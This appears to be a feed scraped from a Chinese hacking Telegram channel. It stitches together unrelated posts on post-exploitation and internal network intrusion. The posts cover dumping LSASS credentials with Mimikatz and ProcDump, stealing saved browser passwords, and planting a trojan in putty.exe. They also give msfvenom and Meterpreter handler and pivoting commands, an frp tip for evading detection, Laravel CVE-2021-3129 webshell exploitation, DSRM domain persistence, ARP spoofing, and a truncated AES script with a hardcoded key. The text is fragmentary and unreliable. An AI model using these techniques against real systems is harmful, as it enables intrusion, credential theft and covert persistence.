黑客网站渗透入侵破解拿权限
10.4K subscribers
2.39K photos
108 links
Download Telegram
Covenant是一个开源 C2 框架,用于在网络渗透测试期间进行后利用。
它允许您控制受感染的系统、窃取数据并执行后利用活动
Metasploit是一种流行的开源渗透测试和利用框架,具有可扩展的模块框架,可提供后利用功能。渗透测试人员和红队成员使用它来识别漏洞、利用漏洞并保持对受感染系统的访问
阶段渗透测试
1.范围确定和规划:定义渗透测试的目标及其执行的时间计划。
2.侦察:首次检索有关范围内的组织和系统的信息,通常基于公共数据。
3.扫描:根据侦察收集的信息,使用一些扫描仪来搜索详细信息并发现漏洞。
4.获取和提升访问权限:尝试利用检测到的漏洞访问系统,一旦进入系统,便可获得尽可能多的特权。
5.保持访问权限:在功能中保持对目标系统的访问开放。这意味着要抹去痕迹,这样未经授权的访问就不会被检测到。
6.记录结果:渗透测试的发现必须妥善记录,以便客户了解问题。它不仅应该揭示漏洞,还应解决解决方案并包括提高安全性的建议。渗透测试报告通常包含一项行动计划,该计划稍后会进行跟踪,甚至在一定时间后进行验证。
并非所有渗透测试都会通过所有阶段:在定义的范围内,可能无法获得访问权限,因此会跳过第 4 和第 5 阶段。由于每个阶段都基于前一个阶段的结果,因此第一步非常重要。

范围界定是该过程中的关键,因为它决定了测试的扩展范围以及界定责任,并从法律上保护客户和黑客。侦察和扫描受商定范围的制约,而获取访问权限也非常依赖于时间范围,因为许多工具和程序都需要花费大量时间(例如,对于暴力攻击,时间越长越好)
网络渗透的6个关键阶段:
-网络扫描
-后期利用框架
-旋转和横向运动
-Active Directory 评估
-欺骗和窃听
-凭证窃取
网络渗透是对组织内部基础设施和防御的安全入侵。网络渗透将从假定的漏洞开始,渗透获得对内部网络的初始访问权限。渗透可以花更多时间测试组织的内部防御和安全控制,而不是尝试获得初始访问权限
Metasploit开源渗透测试和利用框架,具有可扩展的模块框架,可提供后利用功能。渗透和红队成员识别漏洞、利用漏洞并保持对受感染系统的访问
后渗透框架
后渗透框架可在网络渗透测试期间轻松保持对受感染目标的访问和控制。以下在渗透测试生涯中可能遇到的一些框架
渗透阶段安装了 Mimikatz 和 ProcDump,并使用 ProcDump 工具转储 LSASS 进程的内存以劫持受感染系统的凭据
窃取 NirSoft 的 WebBrowserPassView 和网络浏览器信息
可以提取并显示保存在 Google Chrome、Firefox 和 Internet Explorer 中的帐户和历史记录信息
靶机渗透攻击上线后进行渗透攻击
将木马程序传到靶机,一但靶机运行了该木马程序 msfconsole反弹shell就可以看到靶机上线,接下来就可以进行攻击渗透,控制靶机了
在win7虚拟机电脑运行捆绑好木马的软件putty.exe 这时MSF可以看到会话建立,接下来就可以搞事情了
内网渗透之中间人欺骗攻击
ARP全称为Address Resolution Protocol,即地址解析协议,它是一个根据IP地址获取物理地址的TCP/IP协议,主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址,收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。
ARP地址解析协议是建立在网络中各个主机互相信任的基础上的,网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存,故而攻击者可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗
从数据包可以看出来,对登录的手机号进行了加密。我们到浏览器找一下使用的加密算法

通过关键词搜索直接定位到其代码逻辑

可以编写编写一个加解密的代码:

from Crypto.Cipher import AES
import base64

def aes_encrypt(plaintext, key, iv):
# 将明文转换为字节串
plaintext = plaintext.encode('utf-8')
# 创建AES加密对象,使用CBC模式
cipher = AES.new(key, AES.MODE_CBC, iv)
# 计算需要填充的字节数
padding_length = AES.block_size - len(plaintext) % AES.block_size
# 进行填充
padding = bytes([padding_length] * padding_length)
plaintext = plaintext + padding
# 进行加密
ciphertext = cipher.encrypt(plaintext)
# 将加密结果进行base64编码并返回
return base64.b64encode(ciphertext).decode('utf-8')

def aes_encrypt2(plaintext):
key = b'60427a4badf685bd'
iv = b'0c67da205a1f6f57'
return aes_encrypt(plaintext, key, iv)

def aes_decrypt(ciphertext, key, iv):
# 对密文进行base64解码
ciphertext = base64.b64decode(ciphertext)
# 创建AES解密对象
1
二层内网渗透(bind)
生成msf木马msfvenom -p windows/meterpreter/bind_tcp lport=xxx -f exe -o 文件名,因为内网不能直接连外网的原因,reverse版木马无法使用,但是我们有代理可以连内网。上传
同理,生成了木马本地就需要有msf进程监听。use exploit/multi/handler,然后set payload windows/meterpreter/bind_tcp,payload和msf木马所用payload一致,设置参数lport和rhost.(这里开监听是在边界服务器开,也就是之前msf的边界服务器终端,lport当然也是边界机的端口,相当于本机msf对靶机边界机 的渗透变为了==靶机边界机对内网二层机==)
在二层内网机提权运行msf木马拿到shell后,run autoroute -s 另一内网网段添加路由
扫描,老样子,那几个扫描用啥都行,run arp_scanner -r 网段进行arp扫描
如果非要用reverse的连接方式呢,今天我皮痒,或者有防火墙只能出。
很简单,用到端口转发。如果将边界机监听reverse的端口转发到本地端口,二层内网机reverse到边界机的端口就相当于直接和本地通信

lcx被检测概率太大,用frp
内网渗透
打靶过程
如下为本人自己搭建的练习靶场
拿下web2
1.nmap扫描
192.168.157.131 :81 --->web2 (nginx)
Nday getshell-web2
访问192.168.157.131:81可以得到使用了Laravel框架信息
站点存在Laravel Debug mode RCE漏洞(CVE-2021-3129)利用工具laravel-CVE-2021-3129-EXP-main 搭配v2.96-godzilla拿下shell(docker)
在docker中提权-web2
内网渗透之内网权限维持

DSRM(Directory Services Restore Mode,目录服务恢复模式)是Window域环境中域控制器的安全模式启动选项,每个域控制器都有一个本地管理员账户(也就是DSRM账户)。
DSRM的用途是允许管理员在域环境中出现故障或崩溃时还原、恢复、重建活动目录数据库,使域环境的运行恢复正常,DSRM的密码需要在安装DC时设置且很少会被重置,修改DSRM密码最基本的方法是在DC上运行ntdsutil命令行工具。
在渗透测试中,我们可以使用DSRM账号对域环境进行持久化操作,如果域控制器的系统版本为WIndow Server 2008,需要安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步,在WIndow Server 2008之后的版本系统不需要安装此补丁,如果域控制器的系统版本为Windows Server 2003,则不能使用该方法进行持久化控制。
每个域控制器都有一个本地管理员账户和密码(与域管理员账户和密码不同),而此处的DSRM账户和密码亦可以作为一个域控制器的本地管理员用户,之后通过网络连接域控制器,进而控制域控制器
数据均使用UDP协议传输,在应用层使用ACK和重传机制确保数据的可靠传输,指令数据包的内容使用JSON格式的Key-Value格式,并且APP和摄像头间的指令和数据均使用明文传输
进一步分析发现每一条指令都会带上密码字段,如果‘pwd’(密码)正确,摄像头执行‘GetDevStream’指令,然后返回实时视频流给APP;如果‘pwd’错误,摄像头拒绝执行指令,丢弃该数据包或返回错误信息,但是实际上发现该系统的鉴权由APP客户端完成,并且只有在连接摄像头时会验证密码。
在APP连接摄像头时,发送一条‘LoginDev’的指令摄像头验证指令中的‘pwd’密码是否正确,如果正确返回的结果中‘result’为0,如果错误返回的结果中‘result’为-1